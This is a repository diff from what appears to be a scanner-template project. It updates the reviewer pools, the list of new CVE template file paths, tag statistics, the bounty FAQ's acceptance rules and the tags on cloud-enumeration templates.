lint - fix

SSH - Detection
chore: generate new addition list 🤖
2026-11-07 08:36:19 -10:00 · 2025-12-13 16:49:43 +05:30 · 2025-11-06 18:43:32 +05:30 · 2025-11-06 11:37:57 +00:00 · 2025-11-06 11:37:39 +00:00 · 2025-11-06 17:07:13 +05:30
10018 changed files with 60145 additions and 48585 deletions
@@ -29,12 +29,12 @@ jobs:
            // ======= CONFIG: put your user pools here =======
            // Usernames must be GitHub logins and collaborators on this repo.
            const ISSUE_ASSIGNEES = [
-              "princechaddha","pussycat0x","ritikchaddha","DhiyaneshGeek"
+              "princechaddha","pussycat0x","ritikchaddha","DhiyaneshGeek","akokonunes","theamanrawat"
            ];
            const REVIEW_POOL = [
-              "pussycat0x","ritikchaddha","DhiyaneshGeek"
+              "pussycat0x","ritikchaddha","DhiyaneshGeek","akokonunes","theamanrawat"
            ];
-            const LOOKBACK_DAYS = 15; // only used as a tie-break fairness metric
+            const LOOKBACK_DAYS = 7; // only used as a tie-break fairness metric
            // ================================================

            function toLowerAll(xs){ return xs.map(x => x.toLowerCase()); }
@@ -1,124 +1,54 @@
-code/windows/enumeration/rdp-ntlm-info.yaml
-http/cves/2015/CVE-2015-9406.yaml
-http/cves/2015/CVE-2015-9415.yaml
-http/cves/2016/CVE-2016-10972.yaml
-http/cves/2018/CVE-2018-11511.yaml
-http/cves/2018/CVE-2018-1217.yaml
-http/cves/2019/CVE-2019-11886.yaml
-http/cves/2019/CVE-2019-17232.yaml
-http/cves/2019/CVE-2019-18952.yaml
-http/cves/2019/CVE-2019-25152.yaml
-http/cves/2019/CVE-2019-6703.yaml
-http/cves/2019/CVE-2019-7276.yaml
-http/cves/2019/CVE-2019-9621.yaml
-http/cves/2020/CVE-2020-13640.yaml
-http/cves/2020/CVE-2020-28653.yaml
-http/cves/2020/CVE-2020-36705.yaml
-http/cves/2020/CVE-2020-36719.yaml
-http/cves/2020/CVE-2020-36723.yaml
-http/cves/2020/CVE-2020-36731.yaml
-http/cves/2020/CVE-2020-8656.yaml
-http/cves/2020/CVE-2020-8657.yaml
-http/cves/2020/CVE-2020-9480.yaml
-http/cves/2021/CVE-2021-20021.yaml
-http/cves/2021/CVE-2021-24175.yaml
-http/cves/2021/CVE-2021-24219.yaml
-http/cves/2021/CVE-2021-24295.yaml
-http/cves/2021/CVE-2021-32648.yaml
-http/cves/2021/CVE-2021-34622.yaml
-http/cves/2021/CVE-2021-42359.yaml
-http/cves/2021/CVE-2021-4380.yaml
-http/cves/2022/CVE-2022-25322.yaml
-http/cves/2022/CVE-2022-3477.yaml
-http/cves/2022/CVE-2022-3481.yaml
-http/cves/2022/CVE-2022-3590.yaml
-http/cves/2022/CVE-2022-3805.yaml
-http/cves/2022/CVE-2022-38627.yaml
-http/cves/2022/CVE-2022-38840.yaml
-http/cves/2022/CVE-2022-41352.yaml
-http/cves/2023/CVE-2023-23063.yaml
-http/cves/2023/CVE-2023-26258.yaml
-http/cves/2023/CVE-2023-3169.yaml
-http/cves/2023/CVE-2023-4666.yaml
-http/cves/2023/CVE-2023-5559.yaml
-http/cves/2023/CVE-2023-6933.yaml
-http/cves/2024/CVE-2024-0593.yaml
-http/cves/2024/CVE-2024-31839.yaml
-http/cves/2025/CVE-2025-0282.yaml
-http/cves/2025/CVE-2025-10035.yaml
-http/cves/2025/CVE-2025-20362.yaml
-http/cves/2025/CVE-2025-27222.yaml
-http/cves/2025/CVE-2025-27223.yaml
-http/cves/2025/CVE-2025-27225.yaml
-http/cves/2025/CVE-2025-36604.yaml
-http/cves/2025/CVE-2025-49825.yaml
-http/cves/2025/CVE-2025-54249.yaml
-http/cves/2025/CVE-2025-54251.yaml
-http/cves/2025/CVE-2025-59474.yaml
-http/cves/2025/CVE-2025-61882.yaml
-http/cves/2025/CVE-2025-6204.yaml
-http/cves/2025/CVE-2025-6205.yaml
-http/cves/2025/CVE-2025-8868.yaml
-http/default-logins/crestron/crestron-airmedia-default-login.yaml
-http/default-logins/mitel/mitel-6000-default-login.yaml
-http/default-logins/ritecms/ritecms-default-login.yaml
-http/exposed-panels/allegro-rompager-panel.yaml
-http/exposed-panels/gocontrol-admin-panel.yaml
-http/exposed-panels/national-instruments/ni-web-based-panel.yaml
-http/exposures/apis/postman-collection-exposure.yaml
-http/exposures/apis/redoc-api-docs.yaml
-http/exposures/apis/tolgee-api.yaml
-http/exposures/tokens/pinata/pinata-api-key.yaml
-http/iot/labview-service-locator-enum.yaml
-http/misconfiguration/graphql/graphql-apollo-sandbox.yaml
-http/misconfiguration/graphql/graphql-directive-overloading.yaml
-http/misconfiguration/graphql/graphql-voyager.yaml
-http/misconfiguration/mfp-unauth-exposure.yaml
-http/misconfiguration/symfony/symfony-conflicting-misconfig.yaml
-http/misconfiguration/tolgee-api-anonymous.yaml
-http/misconfiguration/unauth-pactbroker.yaml
-http/misconfiguration/vault/vault-unsealed-unauth.yaml
-http/misconfiguration/weaviate-exposure.yaml
-http/osint/phishing/bank-central-asia-phish.yaml
-http/osint/user-enumeration/bsky.yaml
-http/osint/user-enumeration/flightradar24.yaml
-http/osint/user-enumeration/mastodon-social-vivaldi.yaml
-http/osint/user-enumeration/moto-trip.yaml
-http/osint/user-enumeration/wordpress-site.yaml
-http/technologies/meteobridge-detect.yaml
-http/technologies/woodpecker-detect.yaml
-http/vulnerabilities/churchcrm/churchcrm-xss.yaml
-http/vulnerabilities/other/justboil-me-image-upload.yaml
-http/vulnerabilities/other/p7-office-xss.yaml
-javascript/misconfiguration/ssh/eol-openssh-debian.yaml
-network/cves/2004/CVE-2004-0437.yaml
-network/cves/2004/CVE-2004-0656.yaml
-network/cves/2004/CVE-2004-1602.yaml
-network/cves/2004/CVE-2004-1641.yaml
-network/cves/2005/CVE-2005-0850.yaml
-network/cves/2005/CVE-2005-0851.yaml
-network/cves/2006/CVE-2006-2173.yaml
-network/cves/2006/CVE-2006-6565.yaml
-network/cves/2008/CVE-2008-0702.yaml
-network/cves/2008/CVE-2008-5281.yaml
-network/cves/2009/CVE-2009-0884.yaml
-network/cves/2010/CVE-2010-3867.yaml
-network/cves/2011/CVE-2011-0762.yaml
-network/cves/2011/CVE-2011-3171.yaml
-network/cves/2014/CVE-2014-1841.yaml
-network/cves/2014/CVE-2014-1842.yaml
-network/cves/2014/CVE-2014-1843.yaml
-network/cves/2015/CVE-2015-1419.yaml
-network/cves/2019/CVE-2019-18217.yaml
-network/cves/2019/CVE-2019-20176.yaml
-network/cves/2020/CVE-2020-35359.yaml
-network/cves/2020/CVE-2020-9274.yaml
-network/cves/2020/CVE-2020-9365.yaml
-network/cves/2021/CVE-2021-30047.yaml
-network/cves/2021/CVE-2021-3122.yaml
-network/cves/2021/CVE-2021-40524.yaml
-network/cves/2023/CVE-2023-22629.yaml
-network/cves/2023/CVE-2023-51713.yaml
-network/cves/2024/CVE-2024-48208.yaml
-network/cves/2024/CVE-2024-48651.yaml
-network/detection/famatech-radmin-detect.yaml
+code/cves/2024/CVE-2024-47575.yaml
+code/misconfiguration/dns-axfr-enabled.yaml
+http/cves/2018/CVE-2018-6882.yaml
+http/cves/2019/CVE-2019-11507.yaml
+http/cves/2021/CVE-2021-41419.yaml
+http/cves/2021/CVE-2021-45467.yaml
+http/cves/2022/CVE-2022-26143.yaml
+http/cves/2023/CVE-2023-2437.yaml
+http/cves/2023/CVE-2023-34048.yaml
+http/cves/2024/CVE-2024-0799.yaml
+http/cves/2024/CVE-2024-0801.yaml
+http/cves/2024/CVE-2024-10146.yaml
+http/cves/2024/CVE-2024-11238.yaml
+http/cves/2024/CVE-2024-27443.yaml
+http/cves/2024/CVE-2024-28623.yaml
+http/cves/2024/CVE-2024-4180.yaml
+http/cves/2024/CVE-2024-6690.yaml
+http/cves/2025/CVE-2025-1023.yaml
+http/cves/2025/CVE-2025-1302.yaml
+http/cves/2025/CVE-2025-24354.yaml
+http/cves/2025/CVE-2025-32429.yaml
+http/cves/2025/CVE-2025-41243.yaml
+http/cves/2025/CVE-2025-51482.yaml
+http/cves/2025/CVE-2025-52472.yaml
+http/cves/2025/CVE-2025-52665.yaml
+http/cves/2025/CVE-2025-54236.yaml
+http/cves/2025/CVE-2025-54253.yaml
+http/cves/2025/CVE-2025-55190.yaml
+http/cves/2025/CVE-2025-5605.yaml
+http/cves/2025/CVE-2025-58443.yaml
+http/cves/2025/CVE-2025-59287.yaml
+http/cves/2025/CVE-2025-6174.yaml
+http/cves/2025/CVE-2025-61884.yaml
+http/cves/2025/CVE-2025-6403.yaml
+http/cves/2025/CVE-2025-64095.yaml
+http/cves/2025/CVE-2025-9985.yaml
+http/default-logins/churchcrm/churchcrm-default-login.yaml
+http/exposed-panels/churchcrm-panel.yaml
+http/exposures/backups/generic-php-files.yaml
+http/misconfiguration/aem/aem-dispatcher-bypass.yaml
+http/misconfiguration/aem/aem-querybuilder-bypass.yaml
+http/misconfiguration/installer/churchcrm-installer.yaml
+http/misconfiguration/tomcat-snoop-servlet-exposed.yaml
+http/takeovers/mailgun-takeover.yaml
+http/vulnerabilities/generic/xss-uri-reflected.yaml
+http/vulnerabilities/unifi/unifi-create-user.yaml
+http/vulnerabilities/unifi/unifi-nfc-credentials.yaml
+javascript/cves/2019/CVE-2019-6443.yaml
+javascript/detection/ntp-version-detect.yaml
+javascript/misconfiguration/mqtt-uauth-broker.yaml
+javascript/udp/misconfiguration/ntp-enum-variables-enabled.yaml
+network/cves/2020/CVE-2020-14644.yaml
+network/cves/2024/CVE-2024-23108.yaml
+network/detection/rtl-tcp-server-detect.yaml
@@ -1 +1 @@
-{"tags":[{"name":"cve","count":3387},{"name":"panel","count":1355},{"name":"xss","count":1263},{"name":"wordpress","count":1228},{"name":"exposure","count":1117},{"name":"wp-plugin","count":1075},{"name":"osint","count":842},{"name":"tech","count":814},{"name":"rce","count":804},{"name":"lfi","count":783},{"name":"misconfig","count":768},{"name":"devops","count":740},{"name":"cloud","count":696},{"name":"wp","count":617},{"name":"edb","count":599},{"name":"detect","count":592},{"name":"wpscan","count":555},{"name":"packetstorm","count":552},{"name":"cve2021","count":519},{"name":"cve2022","count":519},{"name":"cve2023","count":498},{"name":"sqli","count":492},{"name":"cve2024","count":490},{"name":"login","count":468},{"name":"unauth","count":459},{"name":"authenticated","count":439},{"name":"intrusive","count":437},{"name":"kev","count":396},{"name":"file","count":379},{"name":"vkev","count":373},{"name":"network","count":311},{"name":"oast","count":292},{"name":"cve2020","count":285},{"name":"default-login","count":284},{"name":"config","count":259},{"name":"apache","count":249},{"name":"token-spray","count":247},{"name":"microsoft","count":242},{"name":"top-200","count":235},{"name":"gcp","count":232},{"name":"osint-social","count":227},{"name":"gcp-cloud-config","count":226},{"name":"gcloud","count":224},{"name":"tcp","count":224},{"name":"malware","count":213},{"name":"token","count":212},{"name":"azure","count":210},{"name":"","count":208},{"name":"auth-bypass","count":196},{"name":"aws","count":192},{"name":"time-based-sqli","count":191},{"name":"cve2019","count":191},{"name":"azure-cloud-config","count":191},{"name":"csp-bypass","count":189},{"name":"iot","count":189},{"name":"cve2018","count":187},{"name":"code","count":181},{"name":"cve2025","count":177},{"name":"amazon","count":175},{"name":"install","count":168},{"name":"redirect","count":161},{"name":"keys","count":157},{"name":"ssrf","count":155},{"name":"joomla","count":151},{"name":"aws-cloud-config","count":147},{"name":"security","count":139},{"name":"linux","count":137},{"name":"local","count":134},{"name":"router","count":132},{"name":"files","count":125},{"name":"cms","count":124},{"name":"cve2017","count":120},{"name":"phishing","count":118},{"name":"cve2010","count":112},{"name":"kubernetes","count":111},{"name":"disclosure","count":107},{"name":"ftp","count":104},{"name":"audit","count":102},{"name":"top-100","count":100},{"name":"tokens","count":97},{"name":"windows-audit","count":90},{"name":"oss","count":89},{"name":"js","count":88},{"name":"seclists","count":86},{"name":"privesc","count":85},{"name":"oracle","count":82},{"name":"takeover","count":81},{"name":"windows","count":77},{"name":"file-upload","count":77},{"name":"fileupload","count":77},{"name":"cisco","count":76},{"name":"enum","count":73},{"name":"k8s","count":71},{"name":"adobe","count":66},{"name":"huntr","count":64},{"name":"detection","count":64},{"name":"ir","count":63},{"name":"cve2016","count":61},{"name":"alibaba","count":61},{"name":"cve2015","count":61},{"name":"c2","count":61},{"name":"atlassian","count":59},{"name":"google","count":59},{"name":"vmware","count":58},{"name":"deserialization","count":56},{"name":"php","count":52},{"name":"misc","count":51},{"name":"cve2014","count":51},{"name":"dast","count":51},{"name":"logs","count":50},{"name":"traversal","count":50},{"name":"osint-gaming","count":49},{"name":"ssti","count":49},{"name":"ssh","count":48},{"name":"hackerone","count":48},{"name":"log4j","count":48},{"name":"tenable","count":48},{"name":"generic","count":47},{"name":"plugin","count":47},{"name":"debug","count":47},{"name":"aem","count":46},{"name":"vulhub","count":46},{"name":"cnvd","count":46},{"name":"fortinet","count":45},{"name":"aliyun","count":45},{"name":"injection","count":45},{"name":"miscellaneous","count":44},{"name":"kisa","count":44},{"name":"jndi","count":44},{"name":"ssl","count":43},{"name":"ibm","count":43},{"name":"firewall","count":43},{"name":"springboot","count":43},{"name":"oa","count":43},{"name":"info-leak","count":43},{"name":"api","count":42},{"name":"osint-hobby","count":42},{"name":"osint-porn","count":42},{"name":"listing","count":41},{"name":"tls","count":41},{"name":"postgresql","count":40},{"name":"sap","count":40},{"name":"dlink","count":39},{"name":"cti","count":38},{"name":"wp-theme","count":38},{"name":"osint-coding","count":37},{"name":"k8s-cluster-security","count":37},{"name":"jira","count":37},{"name":"google-cloud-sql","count":36},{"name":"osint-misc","count":35},{"name":"networking","count":34},{"name":"devsecops","count":34},{"name":"gitlab","count":34},{"name":"xxe","count":34},{"name":"lfr","count":34},{"name":"fuzz","count":34},{"name":"dns","count":33},{"name":"printer","count":33},{"name":"yonyou","count":32},{"name":"graphql","count":32},{"name":"nginx","count":31},{"name":"compliance","count":31},{"name":"osint-tech","count":31},{"name":"vpc","count":31},{"name":"ec2","count":30},{"name":"tomcaLine truncated
+{"tags":[{"name":"vuln","count":6468},{"name":"cve","count":3587},{"name":"discovery","count":3265},{"name":"vkev","count":1394},{"name":"panel","count":1365},{"name":"xss","count":1269},{"name":"wordpress","count":1261},{"name":"exposure","count":1141},{"name":"wp-plugin","count":1103},{"name":"osint","count":848},{"name":"rce","count":834},{"name":"tech","count":821},{"name":"lfi","count":796},{"name":"misconfig","count":784},{"name":"devops","count":742},{"name":"cloud","count":698},{"name":"wp","count":647},{"name":"detect","count":604},{"name":"edb","count":598},{"name":"wpscan","count":570},{"name":"cve2021","count":552},{"name":"packetstorm","count":551},{"name":"cve2022","count":540},{"name":"cve2023","count":516},{"name":"sqli","count":509},{"name":"cve2024","count":501},{"name":"login","count":475},{"name":"unauth","count":469},{"name":"intrusive","count":462},{"name":"authenticated","count":443},{"name":"kev","count":433},{"name":"file","count":379},{"name":"network","count":350},{"name":"cve2020","count":307},{"name":"oast","count":300},{"name":"default-login","count":288},{"name":"config","count":259},{"name":"tcp","count":255},{"name":"apache","count":252},{"name":"token-spray","count":247},{"name":"microsoft","count":244},{"name":"top-200","count":235},{"name":"osint-social","count":232},{"name":"gcp","count":232},{"name":"gcp-cloud-config","count":226},{"name":"gcloud","count":224},{"name":"cve2025","count":218},{"name":"auth-bypass","count":213},{"name":"token","count":213},{"name":"malware","count":213},{"name":"azure","count":210},{"name":"","count":206},{"name":"cve2019","count":204},{"name":"cve2018","count":195},{"name":"iot","count":195},{"name":"aws","count":192},{"name":"time-based-sqli","count":191},{"name":"azure-cloud-config","count":191},{"name":"csp-bypass","count":189},{"name":"code","count":182},{"name":"amazon","count":174},{"name":"install","count":169},{"name":"redirect","count":162},{"name":"ssrf","count":158},{"name":"keys","count":157},{"name":"joomla","count":151},{"name":"aws-cloud-config","count":147},{"name":"security","count":141},{"name":"linux","count":137},{"name":"local","count":134},{"name":"router","count":133},{"name":"ftp","count":133},{"name":"cms","count":127},{"name":"files","count":126},{"name":"cve2017","count":123},{"name":"phishing","count":119},{"name":"cve2010","count":115},{"name":"kubernetes","count":113},{"name":"disclosure","count":106},{"name":"audit","count":102},{"name":"tokens","count":102},{"name":"top-100","count":100},{"name":"js","count":96},{"name":"windows-audit","count":90},{"name":"oss","count":87},{"name":"seclists","count":86},{"name":"oracle","count":85},{"name":"privesc","count":85},{"name":"file-upload","count":84},{"name":"takeover","count":82},{"name":"passive","count":79},{"name":"cisco","count":78},{"name":"enum","count":77},{"name":"windows","count":77},{"name":"fileupload","count":76},{"name":"k8s","count":73},{"name":"adobe","count":69},{"name":"cve2015","count":65},{"name":"detection","count":65},{"name":"huntr","count":64},{"name":"ir","count":63},{"name":"vmware","count":63},{"name":"cve2016","count":62},{"name":"deserialization","count":62},{"name":"alibaba","count":61},{"name":"c2","count":61},{"name":"google","count":59},{"name":"atlassian","count":59},{"name":"cve2014","count":55},{"name":"php","count":53},{"name":"dast","count":51},{"name":"traversal","count":51},{"name":"misc","count":51},{"name":"logs","count":50},{"name":"ssti","count":49},{"name":"ssh","count":49},{"name":"osint-gaming","count":49},{"name":"tenable","count":48},{"name":"aem","count":48},{"name":"api","count":48},{"name":"plugin","count":48},{"name":"log4j","count":48},{"name":"debug","count":48},{"name":"hackerone","count":48},{"name":"generic","count":47},{"name":"cnvd","count":47},{"name":"vulhub","count":46},{"name":"injection","count":46},{"name":"ibm","count":46},{"name":"aliyun","count":45},{"name":"fortinet","count":45},{"name":"jndi","count":44},{"name":"kisa","count":44},{"name":"info-leak","count":43},{"name":"springboot","count":43},{"name":"miscellaneous","count":43},{"name":"oa","count":43},{"name":"firewall","count":43},{"name":"ssl","count":43},{"name":"osint-porn","count":42},{"name":"osint-hobby","count":42},{"name":"listing","count":41},{"name":"tls","count":41},{"name":"wp-theme","count":41},{"name":"sap","count":40},{"name":"postgresql","count":40},{"name":"k8s-cluster-security","count":39},{"name":"dlink","count":39},{"name":"cti","count":38},{"name":"xxe","count":37},{"name":"jira","count":37},{"name":"devsecops","count":36},{"name":"google-cloud-sql","count":36},{"name":"osint-coding","count":36},{"name":"graphql","count":35},{"name":"osint-misc","count":35},{"name":"dns","count":34},{"name":"fuzz","count":34},{"name":"networking","count":34},{"name":"oob","count":34},{"name":"gitlab","count":34},{"name":"printer","count":34},{"name":"yonyou","count":33},{"name":"lfr","count":33},{"name":"vpc","count":31},{"name":"presLine truncated
@@ -1,12 +1,12 @@
 |    TAG    | COUNT |    AUTHOR     | COUNT | DIRECTORY  | COUNT | SEVERITY | COUNT | TYPE | COUNT |
 |-----------|-------|---------------|-------|------------|-------|----------|-------|------|-------|
-| cve       |  3387 | dhiyaneshdk   |  1872 | http       |  9112 | info     |  4320 | file |   436 |
-| panel     |  1355 | daffainfo     |   872 | cloud      |   657 | high     |  2505 | dns  |    26 |
-| xss       |  1263 | princechaddha |   854 | file       |   436 | medium   |  2412 |      |       |
-| wordpress |  1228 | dwisiswant0   |   806 | code       |   249 | critical |  1472 |      |       |
-| exposure  |  1117 | ritikchaddha  |   660 | dast       |   240 | low      |   323 |      |       |
-| wp-plugin |  1075 | pussycat0x    |   628 | network    |   225 | unknown  |    56 |      |       |
-| osint     |   842 | pikpikcu      |   352 | workflows  |   205 |          |       |      |       |
-| tech      |   814 | pdteam        |   310 | javascript |    82 |          |       |      |       |
-| rce       |   804 | pdresearch    |   271 | ssl        |    38 |          |       |      |       |
-| lfi       |   783 | iamnoooob     |   259 | dns        |    23 |          |       |      |       |
+| vuln      |  6468 | dhiyaneshdk   |  1894 | http       |  9281 | info     |  4353 | file |   436 |
+| cve       |  3587 | daffainfo     |   905 | cloud      |   659 | high     |  2552 | dns  |    26 |
+| discovery |  3265 | princechaddha |   854 | file       |   436 | medium   |  2457 |      |       |
+| vkev      |  1394 | dwisiswant0   |   805 | network    |   259 | critical |  1555 |      |       |
+| panel     |  1365 | ritikchaddha  |   678 | code       |   251 | low      |   330 |      |       |
+| xss       |  1269 | pussycat0x    |   675 | dast       |   240 | unknown  |    54 |      |       |
+| wordpress |  1261 | pikpikcu      |   353 | workflows  |   205 |          |       |      |       |
+| exposure  |  1141 | pdteam        |   314 | javascript |    92 |          |       |      |       |
+| wp-plugin |  1103 | pdresearch    |   275 | ssl        |    38 |          |       |      |       |
+| osint     |   848 | iamnoooob     |   263 | dns        |    23 |          |       |      |       |
@@ -1,6 +1,6 @@
-# Nuclei Templates Community Rewards Program - FAQ
+# Nuclei Templates Bounty - FAQ

-## What is the purpose of this rewards program?
+## What is the purpose of this bounty program?
 The program is designed to reward the community for their efforts in contributing high-quality templates for critical and trending vulnerabilities.

 ## What are the bounty ranges for template submissions?
@@ -10,12 +10,17 @@ Bounties range from **$50 to $250**, depending on the complexity of the template
 Only issues listed by us on our GitHub repository with the 💎 **Bounty** label are eligible for rewards. You can find these bounty issues [here](https://github.com/projectdiscovery/nuclei-templates/issues?q=is%3Aissue%20state%3Aopen%20label%3A%22%F0%9F%92%8E%20Bounty%22)

 ## What is the acceptance criteria for templates?
+The template must include a complete POC and should not rely solely on version-based detection. **Contributors MUST share vulnerable setup information or a testable instance by emailing [email protected].** This is a mandatory requirement to qualify for the bounty.
+
 Templates must meet the following criteria:
 1. **Complete POC**: A full Proof of Concept (POC) must be provided and not rely solely on version detection.
-2. **Debug Data**: Include debug data to assist with template validation.
-3. **Validation Required**: The template will be reviewed and validated before rewards are given.
-4. **Accurate Matchers**: Use strong matchers to avoid false positives.
-> **Note**: Triagers will make the final decision on whether a template qualifies for a reward based on validation and the acceptance criteria outlined.
+2. **Testable Instance (REQUIRED)**: Contributors **must** share vulnerable setup information or a testable instance by emailing templates@projectdiscovery.io. If you have hosted a vulnerable environment for validation, send the details (IP or Docker setup) along with the PR number to templates@projectdiscovery.io. **This is mandatory to qualify for the bounty.**
+3. **No AI-Simulated Environments**: Do not submit AI-simulated vulnerable environments.
+4. **Protocol Requirements**: Avoid submitting code templates for CVEs that can be detected using HTTP, TCP, or JavaScript only—these are not run on default scans and will not result in any findings.
+5. **Validation Required**: To qualify for the bounty, the team must be able to fully validate the POC. Templates that are incomplete, invalid, or non-verifiable will not be accepted.
+6. **Accurate Matchers**: Use strong matchers to avoid false positives.
+
+> **Note**: Triagers will make the final decision on whether a template qualifies for a reward based on validation and the acceptance criteria outlined. **Providing a testable instance is mandatory and significantly reduces validation time.**

 ## How do I start working on a bounty issue?
 1. **Find an Issue**: Look for issues tagged with 💎 **Bounty**.
@@ -65,7 +70,7 @@ Templates may be rejected if they:
 Yes! We now have a **leaderboard** that showcases top contributors. You can check it out here: [Leaderboard](https://cloud.projectdiscovery.io/templates/leaderboard).

 ## Is this program permanent?
-The rewards program is currently a test run, but we may make changes based on community feedback.
+The bounty program is currently a test run, but we may make changes based on community feedback.

 ## What additional rewards are available besides bounties?
 Beyond bounties, we also reward contributors with:
@@ -9,7 +9,7 @@ info:
  metadata:
    verified: true
    max-request: 1
-  tags: cloud,enum,cloud-enum,aws
+  tags: cloud,enum,cloud-enum,aws,discovery

 self-contained: true

@@ -34,4 +34,4 @@ http:
          - 200
          - 302
        condition: or
-# digest: 4a0a0047304502202b00629a52cbcc198e7d34d2b64cb589c7f1e3656d03bf8c2c83b46cb0cd93bc022100dd71dc5ea04e3d278424d15691609e6c3a3967ba614fc43af74f11911acc25a1:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100c72eb76f5a040d1b24e529a3f41d00e23912cbf1a822f0bbc1b70de50fb93cbc022100d1bee6e4d2cdaf0c30963a746715395fc4438d47e6ed5b19f3113ba7f5d32bef:922c64590222798bb761d5b6d8e72950
@@ -9,7 +9,7 @@ info:
  metadata:
    verified: true
    max-request: 1
-  tags: cloud,enum,cloud-enum,aws
+  tags: cloud,enum,cloud-enum,aws,discovery

 self-contained: true

@@ -38,4 +38,4 @@ http:
        name: "Protected AWS S3 Bucket"
        status:
          - 403
-# digest: 490a00463044022042762e76cd970a173e2b6ebcdb6b5eb7a50dee876ca17dc086869e49cb7a0918022074319bef7221719f2a0af22f125dfe951d2bd8caa49399e5e9d0e703a7eac74e:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022040330052e09b20ab8d7ce1876fa078a1d9561e6f80c536d599acbd71957fd618022100ee73a27026a07d4ee42e6f938ec0799946111aa9c771840ca9bbd22324910300:922c64590222798bb761d5b6d8e72950
@@ -9,7 +9,7 @@ info:
  metadata:
    verified: true
    max-request: 1
-  tags: cloud,enum,cloud-enum,azure,dns
+  tags: cloud,enum,cloud-enum,azure,dns,discovery

 self-contained: true

@@ -29,4 +29,4 @@ dns:
        part: answer
        words:
          - "IN\tA"
-# digest: 4a0a00473045022100996d1a8d7019d1d042888717ee86616809f7ccea1ef47eb0aaaa0e2416b874300220085a76c67e4cd35b6d3a6ce40b9923c00f76857411201bb5d2fe81e195cefb7e:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100a96a380a899cf2a5b297c97255b60a4badc8e2308c09cd4c276df94752197b71022100fde30e503e271d8078b6bed2a5320912aa65e20e4df8fc84cbc9cd7de415774a:922c64590222798bb761d5b6d8e72950
@@ -9,7 +9,7 @@ info:
  metadata:
    verified: true
    max-request: 1
-  tags: cloud,cloud-enum,azure,fuzz,enum,dns
+  tags: cloud,cloud-enum,azure,fuzz,enum,dns,discovery

 self-contained: true

@@ -63,4 +63,4 @@ dns:
        part: answer
        words:
          - "IN\tA"
-# digest: 4a0a0047304502204d0fc3b9fa192c08f976d00ea8d644b1536049eae245faafd029f246da8e6b1d022100e3a584da363f2d1960192fd6660b09e70c6c9718644931fead2972ed32d5b6ee:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022032a541f5ba8267dc858da6b4bfedc88f03d5f99bd2b94c008e12123d0b532461022058bc8dfa894c8904f459774f9516ba5feacc00d91d50d39659e73a3bb0680a09:922c64590222798bb761d5b6d8e72950
@@ -9,7 +9,7 @@ info:
  metadata:
    verified: true
    max-request: 1
-  tags: cloud,enum,azure
+  tags: cloud,enum,azure,discovery

 self-contained: true

@@ -34,4 +34,4 @@ http:
          - 200
          - 302
        condition: or
-# digest: 490a004630440220126c63ac565607c646bd1900a65df995c60286fc15c2b779797206c86f0873880220068e36f8ca880bf0632051bb1e4bea5e97a012243737da3b48ee063e6ccac964:922c64590222798bb761d5b6d8e72950
+# digest: 490a004630440220350306ed3cf366bf163000ac7fcd37ab19ac059636a5fab0deda3b351f1e11e4022039941af02eed8b6659c4933581bc2afb4213c1d8f3451b551c79954015f0da1a:922c64590222798bb761d5b6d8e72950
@@ -9,7 +9,7 @@ info:
  metadata:
    verified: true
    max-request: 1
-  tags: enum,cloud,cloud-enum,gcp
+  tags: enum,cloud,cloud-enum,gcp,discovery

 self-contained: true

@@ -40,4 +40,4 @@ http:
          - "status_code==302"
          - contains(location, "login")
        condition: and
-# digest: 4b0a00483046022100fce31a63aab6e8bcaf7cb16745a7d23c0e735104e0b6ff47a0c77e2561e4cb4b022100853c57600af362b2fa7bd3e6551df494fa81dd043de250b32406130b65b183da:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100b7ca6a5620e553021c93b3a71a9afb91726a420ca8cbe42fe1b43debb214b2600221009f199a7494eab9c50e752fa60040ebaf0831b622d5734eb8b3c1d4bf9cb971d4:922c64590222798bb761d5b6d8e72950
@@ -9,7 +9,7 @@ info:
  metadata:
    verified: true
    max-request: 1
-  tags: cloud,enum,cloud-enum,gcp
+  tags: cloud,enum,cloud-enum,gcp,discovery

 self-contained: true

@@ -37,4 +37,4 @@ http:
        name: "Protected GCP Bucket"
        status:
          - 403
-# digest: 490a0046304402201c96ae60fa7a4b6502e37d1f0a368a06326c5d1c0621e333e1baa733a42b1a4902207412bf98d7e4aaf9b755810b30bda7827b495eae85a5607855376c0a1e1d8ab1:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100f0faf908cbb5f61d20b65f332ad44de601d17049e4cf11b1859b65769a191e09022100c2e00fcfcd4e31c19378a99d4c2e11dd14993b4ccc6cb2b5a66668a2cb4b6f09:922c64590222798bb761d5b6d8e72950
@@ -9,7 +9,7 @@ info:
  metadata:
    verified: true
    max-request: 1
-  tags: enum,cloud,cloud-enum,gcp
+  tags: enum,cloud,cloud-enum,gcp,discovery

 self-contained: true

@@ -32,4 +32,4 @@ http:
        name: "Open GCP Firebase App"
        status:
          - 200
-# digest: 4b0a00483046022100d46b37e833fc0fb66e93b0fd4bf7753abe3ff075eeae2735f79e09850585f7a902210081119295893a854aa69d6403778a3dd8818cd265412c0089391bdd5cf185fcb7:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402204d3c102572e65c69544af4d0472c1e5063d3faa67e07f8c41b9c23c67d3072d502205197c08d89064af55aba6c334c905ed0545b210f4ab2fb79bcbee3f40e5a46da:922c64590222798bb761d5b6d8e72950
@@ -9,7 +9,7 @@ info:
  metadata:
    verified: true
    max-request: 1
-  tags: enum,cloud,cloud-enum,gcp
+  tags: enum,cloud,cloud-enum,gcp,discovery

 self-contained: true

@@ -48,4 +48,4 @@ http:
        name: "Deactivated GCP Firebase RTDB"
        status:
          - 423
-# digest: 4a0a0047304502200fd19c4d2057f25272d37b7df6c1c910f3490fd6beda49f493f4f9daa8d697960221008d426fd69d100daf3ea7af86fb08be3d60d1ed8e505f0df50298aa7155e7a10c:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100b6b2896f4ce1e6a9837be3607a820f1bb941f25bde1af51e9660f64416928fe4022100e967115e55f332bf5b90d6801318bdf25c8c15edb0b4367bc61e2fb618e5381c:922c64590222798bb761d5b6d8e72950
@@ -12,7 +12,7 @@ info:
    Regularly audit your DNS records and associated IP addresses. Remove any DNS records that point to IP addresses no longer reserved under your Google Cloud account.
  reference:
    - https://cloud.google.com/dns/docs
-  tags: cloud,devops,gcp,gcloud,dns,gcp-cloud-config
